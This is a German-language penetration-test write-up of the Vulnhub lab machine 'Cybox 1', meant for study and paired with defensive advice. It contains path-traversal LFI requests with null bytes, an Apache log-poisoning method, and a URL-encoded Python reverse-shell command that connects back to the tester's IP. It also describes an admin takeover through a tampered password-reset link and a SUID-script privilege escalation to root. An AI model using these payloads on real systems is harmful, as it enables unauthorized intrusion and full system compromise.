Cybox 1 - Vulnhub - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
nmap
nikto
vi
cat
gobuster
curl
wfuzz
base64
echo
msfconsole
nc
find
ss
stty
su
sudo
strings
python3 (http.server)
wget
python
mkfifo
rm
perl
bash
locate
id
cd
ls

Inhaltsverzeichnis

Reconnaissance

Analyse: ARP-Scan zur Identifizierung des Ziels im lokalen Netzwerk.
Bewertung: Das Ziel wird unter `192.168.2.157` gefunden. Die MAC-Adresse (`08:00:27:d0:c5:30`) gehört zu einer VirtualBox VM.
Empfehlung (Offensiv): IP-Adresse für weitere Scans verwenden.

 ARP-Scan
192.168.2.157	08:00:27:d0:c5:30	PCS Systemtechnik GmbH
                    

Analyse: Die IP `192.168.2.157` wird dem Hostnamen `cybox1.vln` in `/etc/hosts` zugeordnet.
Bewertung: Erleichtert die Ansprache.

 /etc/hosts
 192.168.2.157   cybox1.vln
                     

Analyse: Nmap-Scan (`-sS -sC -sV -A -p- -Pn --min-rate 5000`) wird ausgeführt und nach offenen Ports gefiltert.
Bewertung: Zeigt offene Ports: 21 (FTP - vsftpd 3.0.3), 25 (SMTP - Postfix), 80 (HTTP - Apache 2.2.17), 110 (POP3 - Courier), 143 (IMAP - Courier), 443 (HTTPS - Apache 2.2.17). Sehr alte Apache/PHP/OpenSSL Versionen laut Detailscan. Port 53 (DNS) ist geschlossen. RPCbind (111) und Status (39785) sind ebenfalls offen.
Empfehlung (Offensiv): Fokus auf Webserver (80/443), FTP (anonym?), SMTP/POP3/IMAP (User Enumeration, Brute Force). Die extrem alten Versionen (Apache 2.2.17, PHP 5.2.15, OpenSSL 0.9.8o) deuten auf zahlreiche bekannte Schwachstellen hin.
Empfehlung (Defensiv): System und alle Dienste dringend aktualisieren. Nicht benötigte Ports (FTP, Maildienste, RPC?) schließen.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.157 -p- | grep open
21/tcp  open   ftp      vsftpd 3.0.3
25/tcp  open   smtp     Postfix smtpd
80/tcp  open   http     Apache httpd 2.2.17 ((Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15)
110/tcp open   pop3     Courier pop3d
143/tcp open   imap     Courier Imapd (released 2011)
443/tcp open   ssl/http Apache httpd 2.2.17 ((Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15)

Analyse: Die vollständige Nmap-Ausgabe für IPv4.
Bewertung: Bestätigt die offenen Ports und Dienste. FTP erlaubt keinen anonymen Login (wird nicht explizit angezeigt, aber fehlt in den Script-Ergebnissen). SMTP listet unterstützte Befehle. POP3 und IMAP laufen unter Courier. Apache/PHP/OpenSSL sind stark veraltet (Apache 2.2.17, PHP 5.2.15, OpenSSL 0.9.8o). Das SSL-Zertifikat für Port 443 ist für `cybox.company` ausgestellt und abgelaufen (bis 2021). SSLv2 wird unterstützt (unsicher). RPCbind und Status sind offen.
Empfehlung (Offensiv): Webserver auf Port 80/443 priorisieren. Den Hostnamen `cybox.company` zu `/etc/hosts` hinzufügen. Maildienste auf User Enumeration (VRFY) testen. FTP auf bekannte Schwachstellen für vsftpd 3.0.3 prüfen (wenig wahrscheinlich). Exploits für Apache 2.2.17 / PHP 5.2.15 / OpenSSL 0.9.8o suchen.
Empfehlung (Defensiv): Alles aktualisieren! SSLv2 deaktivieren, nur moderne TLS-Versionen und Cipher Suites verwenden. Gültige Zertifikate nutzen.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.157 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-26 21:30 CEST
Nmap scan report for cybox1.vln (192.168.2.157)
Host is up (0.00016s latency).
Not shown: 65496 filtered tcp ports (no-response), 32 filtered tcp ports (port-unreach)
PORT     STATE  SERVICE  VERSION
21/tcp   open   ftp      vsftpd 3.0.3
25/tcp   open   smtp     Postfix smtpd
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: cybox.Home, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
| ssl-cert: Subject: commonName=cybox
[...]
53/tcp   closed domain
80/tcp   open   http     Apache httpd 2.2.17 ((Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15)
| http-methods: Potentially risky methods: TRACE
|_http-title: CYBX
|_http-server-header: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15
110/tcp  open   pop3     Courier pop3d
|_pop3-capabilities: TOP UIDL PIPELINING IMPLEMENTATION(Courier Mail Server) USER LOGIN-DELAY(10)
143/tcp  open   imap     Courier Imapd (released 2011)
|_imap-capabilities: THREAD=ORDEREDSUBJECT completed THREAD=REFERENCES ACL2=UNION[...] NAMESPACE UIDPLUS SORT OK IDLE
443/tcp  open   ssl/http Apache httpd 2.2.17 ((Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15)
| http-methods: Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=cybox.company/organizationName=Cybox Company/stateOrProvinceName=New York/countryName=US
| Not valid before: 2020-11-14T15:06:32
|_Not valid after:  2021-11-14T15:06:32
|_ssl-date: [...]
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_DES_64_CBC_WITH_MD5
[...]
|_http-server-header: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15
|_http-title: CYBX
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo: [...]
39785/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:D0:C5:30 (Oracle VirtualBox virtual NIC)
[...]
Service Info: Host:  cybox.Home; OS: Unix

Host script results:
|_clock-skew: 6s

TRACEROUTE
[...]
Nmap done: 1 IP address (1 host up) scanned in 20.81 seconds

Web Enumeration (Port 80)

Analyse: Gobuster wird zur Verzeichnissuche auf Port 80 verwendet.
Bewertung: Findet `index.html`, `/assets/` (Redirect) und `favicon.png`. Keine PHP-Dateien oder interessante Verzeichnisse.
Empfehlung (Offensiv): Die Webseite (`index.html`) untersuchen. Enumeration auf Port 443 und mit dem Hostnamen `cybox.company` durchführen.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x [...] -b '503,404,403' -e --no-error -k
===============================================================
[...]
[+] Url:                     http://192.168.2.157
[...]
===============================================================
[...] Starting gobuster [...]
===============================================================
http://192.168.2.157/index.html           (Status: 200) [Size: 8514]
http://192.168.2.157/assets               (Status: 301) [Size: 236] [--> http://192.168.2.157/assets/]
http://192.168.2.157/favicon.png          (Status: 200) [Size: 58991]
===============================================================
[...] Finished
===============================================

Analyse: Nikto wird gegen Port 80 ausgeführt.
Bewertung: Findet viele Probleme aufgrund der veralteten Komponenten: fehlende Header, ETag-Leak, Apache/PHP/OpenSSL veraltet, TRACE-Methode aktiv (XST-Risiko). Findet `#wp-config.php#` (Irreführung). Weist auf eine potenzielle Remote Buffer Overflow Schwachstelle in `mod_ssl` 2.8.7 und niedriger hin (die Version hier ist 2.2.17, also potenziell betroffen).
Empfehlung (Offensiv): Die `mod_ssl`-Schwachstelle (OpenFuck Exploit, CVE-2002-0082) recherchieren und als potenziellen Vektor prüfen. Den Hostnamen `cybox.company` verwenden.
Empfehlung (Defensiv): Alle Komponenten dringend aktualisieren! TRACE deaktivieren.

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.157
+ Target Hostname:    192.168.2.157
+ Target Port:        80
+ Start Time:         2024-09-26 21:35:03 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15
+ /: Server may leak inodes via ETags, [...].
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ mod_ssl/2.2.17 appears to be outdated [...].    
+ Apache/2.2.17 appears to be outdated [...].
+ PHP/5.2.15 appears to be outdated [...].
+ OpenSSL/0.9.8o appears to be outdated [...].
+ mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. <-- Potenzieller Exploit
+ PHP/5.2 - PHP 3/4/5 and 7.0 are End of Life products [...].
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE .
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. [...]
+ /#wp-config.php#: #wp-config.php# file found. [...]
+ 8909 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2024-09-26 21:35:17 (GMT2) (14 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Der Inhalt von `index.html` auf Port 80 wird angezeigt.
Bewertung: Enthält einen Kontakt-Link `admin@cybox.company`. Dies bestätigt den Domainnamen aus dem SSL-Zertifikat.
Empfehlung (Offensiv): Den Hostnamen `cybox.company` zur `/etc/hosts`-Datei hinzufügen und die Webseite unter diesem Namen erneut untersuchen (v.a. Port 443).

http://192.168.2.157/index.html
[...]
© Copyright 2020 CYBX. All Rights Reserved.
Contact: admin@cybox.company
[...]

Analyse: Der Hostname `cybox.company` wird zur `/etc/hosts`-Datei hinzugefügt.
Bewertung: Korrekter Schritt zur Untersuchung des Virtual Hosts.

┌──(root㉿CCat)-[~]
└─# vi /etc/hosts
192.168.2.157   cybox1.vln cybox.company

Subdomain Enumeration & Host Discovery

Analyse: Im Verzeichnis `/assets/images/` (gefunden via Gobuster/Nikto, hier impliziert aufgerufen) wird eine Datei `hashes.json` gefunden.
Bewertung: Der Inhalt `Vtz1643m0vTdX2awa/TnfQ "favicon-121x133.png"` ist unklar. Der erste Teil sieht wie ein Hash oder Base64 aus, der zweite ist ein Dateiname. Die Relevanz ist nicht sofort ersichtlich.
Empfehlung (Offensiv): Den String `Vtz...fQ` versuchen zu dekodieren/cracken. Vorerst zurückstellen.
Empfehlung (Defensiv): Keine unklaren oder potenziell sensiblen Dateien in Web-Verzeichnissen belassen.

http://cybox.company/assets/images/hashes.json

Vtz1643m0vTdX2awa/TnfQ  "favicon-121x133.png"

Analyse: `wfuzz` wird verwendet, um Subdomains von `cybox.company` zu bruteforcen, indem der `Host`-Header manipuliert wird.
Bewertung: Der Scan findet mehrere valide Subdomains, die auf dieselbe IP antworten (HTTP 200 oder 302): `ftp`, `dev`, `webmail`, `monitor`, `register`.
Empfehlung (Offensiv): Alle gefundenen Subdomains zur `/etc/hosts`-Datei hinzufügen und jede einzeln untersuchen, da sie unterschiedliche Webanwendungen oder Konfigurationen haben könnten.
Empfehlung (Defensiv): DNS-Konfiguration überprüfen. Nicht verwendete Subdomains entfernen. Wildcard-DNS-Einträge vermeiden, wenn nicht notwendig. Webserver-Konfiguration (Virtual Hosts) prüfen.

┌──(root㉿CCat)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://cybox.company" -H "Host: FUZZ.cybox.company" --hc "404" --hh 8514
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://cybox.company/
[...]
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000003:   200        67 L     515 W      5295 Ch     "ftp"
000000019:   200        10 L     22 W       209 Ch      "dev"
000000005:   302        0 L      0 W        0 Ch        "webmail"
000000099:   302        0 L      0 W        0 Ch        "monitor"
000000468:   200        73 L     132 W      1252 Ch     "register"
[...]
Total time: Xm Xs
Processed Requests: 114441
Filtered Requests: 114436
Requests/sec.: XXXX.XX

Analyse: Die gefundenen Subdomains werden zur `/etc/hosts`-Datei hinzugefügt.
Bewertung: Korrekter Schritt zur Vorbereitung der Untersuchung der Subdomains.

┌──(root㉿CCat)-[~]
└─# grep cybox /etc/hosts
192.168.2.157   cybox1.vln cybox.company ftp.cybox.company dev.cybox.company webmail.cybox.company monitor.cybox.company register.cybox.company

Application Exploration (FTP, Monitor, Webmail)

Analyse: Die Webseite unter `http://ftp.cybox.company/` wird untersucht.
Bewertung: Der Quellcode enthält einen Hinweis auf ein Template (`/skins/shinra/consent.template.php`). Die Seite selbst zeigt ein Formular zur Zustimmung zu Datenschutzhinweisen und zur Eingabe einer E-Mail-Adresse. Nach Eingabe von `benhacker@cybox.company` wird gemeldet, dass der Benutzer erstellt wurde mit den Credentials `benhacker`:`benhacker`. Ein anschließender Upload-Versuch einer `rev.php`-Datei scheitert ("Datei ist zu groß").
Empfehlung (Offensiv): Den erstellten Account `benhacker:benhacker` auf anderen Diensten (SSH, Webmail, Monitor) testen. Die FTP-Anwendung weiter untersuchen (ist es nur eine Web-Oberfläche oder gibt es einen echten FTP-Dienst dahinter?).
Empfehlung (Defensiv): Solche einfachen Registrierungsfunktionen mit unsicheren Standardpasswörtern sind ein hohes Risiko. Benutzerregistrierung absichern (Captcha, E-Mail-Verifizierung, starke Passwortrichtlinien). Upload-Funktionen sicher implementieren.

view-source:http://ftp.cybox.company/


http://ftp.cybox.company/index.php
Privacy notices
Please enter your email address as identifier to give you the right of access and erasure: [Input: benhacker@cybox.company]
[Checkbox] I agree to the Cookie Policy
Fingerprint [Submit]

Antwort nach Submit:
Create users
benhacker@cybox.company has been created successfully.
The credentials are benhacker : benhacker
You should change your default password for security.

Upload-Versuch:
Checking files:
    Datei rev.php ist zu groß. Diese Datei wird nicht hochgeladen.
Transferring files to the FTP server:

Analyse: Die Subdomains `monitor.cybox.company` und `webmail.cybox.company` werden untersucht.
Bewertung:

Der wichtigste Fund hier ist die Möglichkeit, E-Mails über SquirrelMail zu empfangen und zu senden, was für den Passwort-Reset des Monitor-Tools genutzt wurde.
Empfehlung (Offensiv): SquirrelMail 1.4.22 auf bekannte Schwachstellen prüfen (viele!). Den Passwort-Reset für `admin@cybox.company` im Monitor-Tool versuchen und die Mail via SquirrelMail abfangen.
Empfehlung (Defensiv): SquirrelMail dringend aktualisieren oder ersetzen. Monitor-Anwendung absichern (Passwort-Reset, Admin-Panel).

1. Monitor Tool Exploration:
http://monitor.cybox.company/reset.php
- Registrierung als benni@cybox.company
- Passwort Reset für benni@cybox.company angefordert.

2. Webmail Exploration:
http://webmail.cybox.company/src/login.php
- Login mit benhacker:benhacker -> Fehler (Unknown user or password incorrect / Error opening preference file)

3. Passwort Reset Mail empfangen:
- Login bei Webmail als benni:benni (oder welches Passwort bei Registrierung vergeben wurde)
- E-Mail von daemon@cybox mit Reset-Link: http://monitor.cybox.company/updatePasswordRequest.php?email=benni@cybox.company

4. Monitor Admin Zugang (Versuch):
- Reset-Link manipuliert: http://monitor.cybox.company/updatePasswordRequest.php?email=admin@cybox.company
- Neues Passwort für Admin gesetzt.
- Login als admin@cybox.company im Monitor-Tool.
- Admin-Panel ist "Under construction".

LFI Exploitation & Log Poisoning

Analyse: Im Admin-Bereich des Monitor-Tools (`http://monitor.cybox.company/admin/`) wird die Seite `styles.php` gefunden. Es wird versucht, eine LFI auszunutzen, indem `/etc/passwd` über den `style`-Parameter inkludiert wird (`?style=../../.../etc/passwd%00`). Dies scheitert zunächst mit `curl`, funktioniert aber mit Burp Suite.
Bewertung: Eine LFI-Schwachstelle im `style`-Parameter von `styles.php` wird bestätigt. Das Nullbyte (`%00`) wird verwendet, um eventuell angehängte Dateiendungen (wie `.css`) abzuschneiden. Dass es mit Burp, aber nicht `curl` funktionierte, könnte an unterschiedlichen Headern oder der Art der Anfrage liegen, ist aber ungewöhnlich.
Empfehlung (Offensiv): Die LFI nutzen. Da Dateiuploads schwierig waren, ist Log Poisoning eine gute Option. Den Pfad zu den Apache-Logs finden (z.B. durch LFI von `/etc/apache2/apache2.conf` oder Standardpfade wie `/var/log/apache2/access.log`, `/opt/bitnami/apache2/logs/access_log` etc.) und versuchen, PHP-Code über einen manipulierten Request (z.B. im User-Agent) in die Logs zu schreiben und diesen dann per LFI auszuführen.
Empfehlung (Defensiv): LFI beheben! Nullbyte-Injection durch korrekte PHP-Konfiguration verhindern. Log-Dateien mit restriktiven Rechten schützen und nicht per LFI lesbar machen. Eingaben validieren.

┌──(root㉿CCat)-[~]
└─# curl http://monitor.cybox.company/admin/styles.php?style=/../../../../../../../../../../../../../../../../etc/passwd%00
nichts kein Glück...
GET /admin/styles.php?style=../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1
Host: monitor.cybox.company
User-Agent: Mozilla/5.0 [...] Firefox/115.0
[...]
Cookie: PHPSESSID=4o56log0qnif0vv5r31c93mus2
[...]
HTTP/1.1 200 OK
[...]
Content-Type: text/html
Content-Length: 1772

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
[...]
cybox:x:1000:1000:cybox,,,:/home/cybox:/bin/bash
mysql:x:1001:1001::/home/mysql:
[...]
admin:x:1002:1002::/home/admin:/bin/bash
benni:x:1003:1003::/home/benni:/bin/bash

Analyse: Der Pentester identifiziert den Pfad zu den Apache-Logs als `/opt/bitnami/apache2/logs/access_log` (vermutlich durch LFI anderer Konfigurationsdateien oder Raten) und versucht Log Poisoning. Ein PHP-Code (``) wird in den User-Agent eines Requests injiziert. Anschließend wird die Log-Datei über die LFI inkludiert und der `cmd`-Parameter angehängt.
Bewertung: Der erste Versuch, die Log-Datei zu inkludieren, zeigt den Inhalt des Logs inklusive des injizierten PHP-Codes im User-Agent. Der zweite Versuch mit angehängtem `&cmd=ls` würde den `ls`-Befehl ausführen (Ausgabe nicht gezeigt).
Empfehlung (Offensiv): Die Log Poisoning LFI nutzen, um eine Reverse Shell zu starten.
Empfehlung (Defensiv): LFI beheben! Log-Dateien schützen. Web Application Firewall (WAF) zur Erkennung von Injections in Headern einsetzen.

LFI to RCE using Log Poisoning

Log Pfad (angenommen): /opt/bitnami/apache2/logs/access_log

1. PHP Code in User-Agent injizieren (z.B. mit Burp Repeater):
   GET / HTTP/1.1
   Host: monitor.cybox.company
   User-Agent: 
   [...]

2. Log-Datei via LFI inkludieren:
   GET /admin/styles.php?style=../../../../../../../../../../../../../../opt/bitnami/apache2/logs/access_log%00 HTTP/1.1
   Host: monitor.cybox.company
   [...]
HTTP/1.1 200 OK
[...]
192.168.2.199 - - [26/Sep/2024:22:09:25 +0200] "GET / HTTP/1.1" 200 8752 "-" ""
[...]
GET /admin/styles.php?style=../../../../../../../../../../../../../../opt/bitnami/apache2/logs/access_log%00&cmd=ls HTTP/1.1
Host: monitor.cybox.company
[...]

Initial Access (Reverse Shell via Log Poisoning)

Analyse: Ein Python-Reverse-Shell-Payload wird URL-kodiert und über den `cmd`-Parameter an die Log-Poisoning-LFI übergeben. Ein Netcat-Listener wird auf Port 443 gestartet.
Bewertung: Die Verbindung kommt erfolgreich auf dem Listener an. Der `id`-Befehl fehlt, aber der Prompt deutet auf eine Shell hin.
Ergebnis: Erfolgreicher Initial Access als Webserver-Benutzer (vermutlich `daemon`, basierend auf SquirrelMail-Fehlern, oder `www-data`) durch LFI und Log Poisoning.
Empfehlung (Offensiv): Identität prüfen (`id`, `whoami`), Shell stabilisieren, Enumeration für PE starten.
Empfehlung (Defensiv): LFI beheben! WAF einsetzen.

GET /admin/styles.php?style=../../../../../../../../../opt/bitnami/apache2/logs/access_log%00&cmd=python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("192.168.2.199",443))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b' HTTP/1.1
Host: monitor.cybox.company
User-Agent:  
[...]
┌──(root㉿CCat)-[~]
└─# nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.111] 48152 
/bin/sh: 0: can't access tty; job control turned off
$

Privilege Escalation (Enumeration)

Analyse: In der erhaltenen Shell (vermutlich als `daemon` oder `www-data`) wird `stty` zur Stabilisierung verwendet und SUID-Dateien gesucht.
Bewertung: Die SUID-Liste zeigt `pkexec`, `sudo` und `/opt/registerlauncher`. `/opt/registerlauncher` ist benutzerdefiniert und SUID-root, was es zu einem Hauptziel macht.
Empfehlung (Offensiv): `/opt/registerlauncher` analysieren (`strings`, `ltrace`, etc.). `sudo -l` prüfen.
Empfehlung (Defensiv): SUID-Bit von `/opt/registerlauncher` entfernen oder das Programm sicher gestalten.

$ stty rows 48 columns 94
daemon@cybox:/opt/bitnami/apache2/htdocs/monitor/admin$ find / -type f -perm -4000 -ls 2>/dev/null
[...] (Standard SUIDs, pkexec, sudo)
    40543      8 -rwsr-sr-x   1 root     root           7400 Nov 14  2020 /opt/registerlauncher <-- Interesting!
[...]

Analyse: `sudo -l` wird versucht, scheitert aber an der Passwortabfrage. Es wird versucht, mit `su benni` zu wechseln (Passwort unbekannt). `curl` ist nicht verfügbar.
Bewertung: Der aktuelle Benutzer hat keine einfachen `sudo`-Rechte. Der Wechsel zu `benni` scheitert.
Empfehlung (Offensiv): Fokus auf `/opt/registerlauncher`.

daemon@cybox:/tmp$ sudo -l
[sudo] password for daemon:
daemon@cybox:/tmp$ su benni
Password:
daemon@cybox:/tmp$ curl
bash: curl: command not found

Analyse: `/opt/registerlauncher` wird mit `strings` untersucht. Es enthält lesbare Shell-Befehle, darunter `groupadd`, `useradd` mit `openssl passwd -1` zur Passwort-Generierung (MD5-Crypt) und `echo`-Ausgaben.
Bewertung: Das Skript `/opt/registerlauncher` nimmt einen Benutzernamen als Argument, prüft auf ungültige Zeichen, prüft ob der User existiert, fügt eine Gruppe hinzu und erstellt den Benutzer mit dem *Benutzernamen selbst als Passwort* (gehasht mit MD5-Crypt). Dies ist eine kritische Schwachstelle: Man kann beliebige Benutzer erstellen, deren Passwort man kennt.
Empfehlung (Offensiv): Einen neuen Benutzer mit einem einfachen Namen (z.B. `sudo`) über `/opt/registerlauncher sudo` erstellen. Sich dann mit `su sudo` und dem Passwort `sudo` anmelden.
Empfehlung (Defensiv): Das Skript entfernen oder sicher gestalten. Niemals den Benutzernamen als Passwort verwenden. MD5-Crypt ist unsicher. Die Passwortgenerierung sollte sicher erfolgen. Das Skript sollte nicht SUID sein.

daemon@cybox:/opt$ ls
bitnami  register  registerlauncher
daemon@cybox:/opt$ strings registerlauncher
[...]
#!/bin/bash
USERNAME=$1
if [ ! "$USERNAME" ]
then
    /bin/echo -e "Syntax: Username"
    exit 1
fi
if [[ "$USERNAME" =~ [^a-z] ]]; then
   /bin/echo -e "Think twice before putting something :)"
   exit 0
fi
if /usr/bin/id "$USERNAME" >/dev/null 2>&1; then
    /bin/echo -e "User already exists :("
    exit 0
fi
if [ ! "$(/bin/cat /etc/group | /bin/grep -w "$USERNAME")" ]
then
    /usr/sbin/groupadd "$USERNAME" 2>/dev/null
fi
/usr/sbin/useradd -p "$(/usr/bin/openssl passwd -1 "$USERNAME")" -m "$USERNAME" -g "$USERNAME" -s /bin/bash 2>/dev/null <-- User = Passwort (MD5 Crypt)
/usr/bin/maildirmake /home/"$USERNAME"/Maildir/ -R 2>/dev/null
/bin/chown "$USERNAME":"$USERNAME" /home/"$USERNAME"/Maildir/ -R 2>/dev/null
if [ $? -eq 0 ]; then
    /bin/echo -e "$USERNAME@cybox.company has been created successfully. The credentials are $USERNAME:$USERNAME. You should change your default password for security."
else
    /bin/echo -e "The string must contain a maximum of 32 characters."
fi
[...]

Privilege Escalation (User Creation Script Analysis)

Analyse: Der Bericht stellt fest, dass über `/opt/registerlauncher` ein Benutzer `sudo` mit dem Passwort `sudo` erstellt werden kann.
Bewertung: Korrekte Schlussfolgerung aus der Analyse des Skripts. Da das Skript SUID-Root ist, wird der Benutzer erfolgreich angelegt.
Empfehlung (Offensiv): Benutzer `sudo` erstellen (Befehl `/opt/registerlauncher sudo`) und dann mit `su sudo` (Passwort `sudo`) wechseln.

daemon@cybox:/tmp$ su sudo
Password: sudo
sudo@cybox:/tmp$

Privilege Escalation (Sudo)

Analyse: Als neu erstellter Benutzer `sudo` wird `sudo -l` ausgeführt.
Bewertung: Der Benutzer `sudo` hat die Berechtigung `(ALL : ALL) ALL`. Dies ist wahrscheinlich darauf zurückzuführen, dass der Benutzer zur Gruppe `sudo` hinzugefügt wurde (oder eine Standardregel für die Gruppe `sudo` existiert) oder der Benutzername `sudo` eine spezielle Bedeutung in der `sudoers`-Datei hat.
Empfehlung (Offensiv): `sudo su` ausführen.
Empfehlung (Defensiv): Die `sudoers`-Datei überprüfen und sicherstellen, dass neu erstellte Benutzer nicht automatisch Root-Rechte erhalten. Den Namen `sudo` nicht für reguläre Benutzerkonten verwenden.

sudo@cybox:/tmp$ sudo -l
[sudo] password for sudo: sudo
Matching Defaults entries for sudo on cybox:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User sudo may run the following commands on cybox:
    (ALL : ALL) ALL

Analyse: `sudo su` wird ausgeführt.
Bewertung: Führt erfolgreich zu einer Root-Shell.
Ergebnis: Finale Privilegieneskalation zu Root.

sudo@cybox:/tmp$ bash -p
sudo@cybox:/tmp$ id
uid=1004(sudo) gid=27(sudo) groups=27(sudo)
sudo@cybox:/tmp$ sudo su
root@cybox:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@cybox:/tmp#

Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.

Proof of Concept (LFI & Log Poisoning)

Schwachstelle: LFI im `style`-Parameter von `/admin/styles.php` (auf Subdomain `monitor.cybox.company`), kombiniert mit der Möglichkeit, Apache-Logs (`/opt/bitnami/apache2/logs/access_log`) via LFI zu lesen und durch manipulierte HTTP-Requests (z.B. im User-Agent) PHP-Code in die Logs zu schreiben.
Ziel des POC: Nachweis, dass durch Injektion von PHP-Code in den User-Agent und anschließendes Inkludieren der Log-Datei via LFI Remote Code Execution als Webserver-Benutzer erreicht werden kann.
Voraussetzungen: Zugriff auf `monitor.cybox.company`. LFI-Schwachstelle. Leserechte auf die Apache-Logs für den Webserver-Prozess.

Schritt 1: Identifizierung der LFI

Analyse: Die LFI in `/admin/styles.php?style=` wurde mittels Burp Suite bestätigt, indem `/etc/passwd` erfolgreich inkludiert wurde (mit Nullbyte-Termination).

Schritt 2: Injektion des PHP-Codes in die Logs

Analyse: Ein HTTP-Request (z.B. `GET /`) wurde an den Server gesendet, wobei der `User-Agent`-Header den Payload `` enthielt.

Schritt 3: Ausführung des Codes durch Inkludieren der Log-Datei

Analyse: Die URL `/admin/styles.php?style=../../../../.../access_log%00&cmd=[BEFEHL]` wurde aufgerufen. Da die Log-Datei nun den PHP-Code aus dem User-Agent enthielt, wurde dieser beim Inkludieren ausgeführt, was die Ausführung des im `cmd`-Parameter übergebenen Befehls ermöglichte. Dies wurde genutzt, um eine Python-Reverse-Shell zu starten.
Ergebnis des POC: Erfolgreiche RCE als Webserver-Benutzer durch LFI und Log Poisoning.
Risikobewertung: Kritisch.
Empfehlung (Defensiv): LFI beheben! Apache-Logs mit restriktiven Rechten versehen. WAF zur Filterung von Schadcode in Headern einsetzen. Eingaben validieren.

Proof of Concept (User Creation Script Abuse)

Schwachstelle: Ein SUID-Root-Skript `/opt/registerlauncher` erstellt neue Benutzer, wobei der Benutzername als Passwort verwendet wird (gehasht mit MD5-Crypt).
Ziel des POC: Nachweis, dass durch Ausführen des SUID-Skripts ein Benutzer mit bekanntem Passwort erstellt werden kann, der potenziell erhöhte Rechte besitzt (hier: Benutzer `sudo` landet in Gruppe `sudo` mit ALL:ALL Rechten).
Voraussetzungen: Lokaler Zugriff (z.B. als `daemon`/`www-data`). Ausführrechte auf `/opt/registerlauncher`.

Schritt 1: Analyse des Skripts

Analyse: `strings` auf `/opt/registerlauncher` enthüllte den Mechanismus: `useradd -p $(openssl passwd -1 "$USERNAME") ... $USERNAME`.

Schritt 2: Erstellung eines privilegierten Benutzers

Analyse: Der Befehl `/opt/registerlauncher sudo` wurde ausgeführt.
Bewertung: Erstellt den Benutzer `sudo` mit Passwort `sudo` (bzw. dessen MD5-Crypt-Hash).

Schritt 3: Wechsel zum neuen Benutzer

Analyse: `su sudo` mit dem Passwort `sudo` wurde ausgeführt.
Ergebnis des POC: Erfolgreiche Erstellung und Übernahme eines Benutzerkontos mit bekanntem Passwort, das durch die unsichere `sudoers`-Konfiguration (siehe nächster POC) zu Root führte.
Risikobewertung: Kritisch.
Empfehlung (Defensiv): SUID-Skript entfernen/absichern. Sichere Passwortgenerierung und -speicherung verwenden. Gruppenmitgliedschaften neuer Benutzer sorgfältig prüfen.

Proof of Concept (Sudo ALL)

Schwachstelle: `sudoers`-Konfiguration erlaubt Benutzer `sudo` die Ausführung aller Befehle als Root (`(ALL : ALL) ALL`).
Ziel des POC: Nachweis, dass `sudo` nach Login mit seinem Passwort (`sudo`) Root-Rechte erlangen kann.
Voraussetzungen: Zugriff als `sudo`. Kenntnis des Passworts (`sudo`). Die `sudoers`-Regel.

Schritt 1: Identifizierung der Sudo-Regel

Analyse: `sudo -l` als `sudo` (mit Passwort `sudo`) zeigte `(ALL : ALL) ALL`.

Schritt 2: Ausnutzung

Analyse: `sudo su` wurde ausgeführt.
Ergebnis des POC: Eine Root-Shell wurde erhalten.
Risikobewertung: Kritisch.
Empfehlung (Defensiv): Prinzip der geringsten Rechte für `sudo`.

Flags

Analyse: Nach Erlangung der Root-Rechte wurden die Dateien `user.txt` (im Home-Verzeichnis von `cybox`) und `root.txt` (im `/root`-Verzeichnis) gefunden und gelesen.
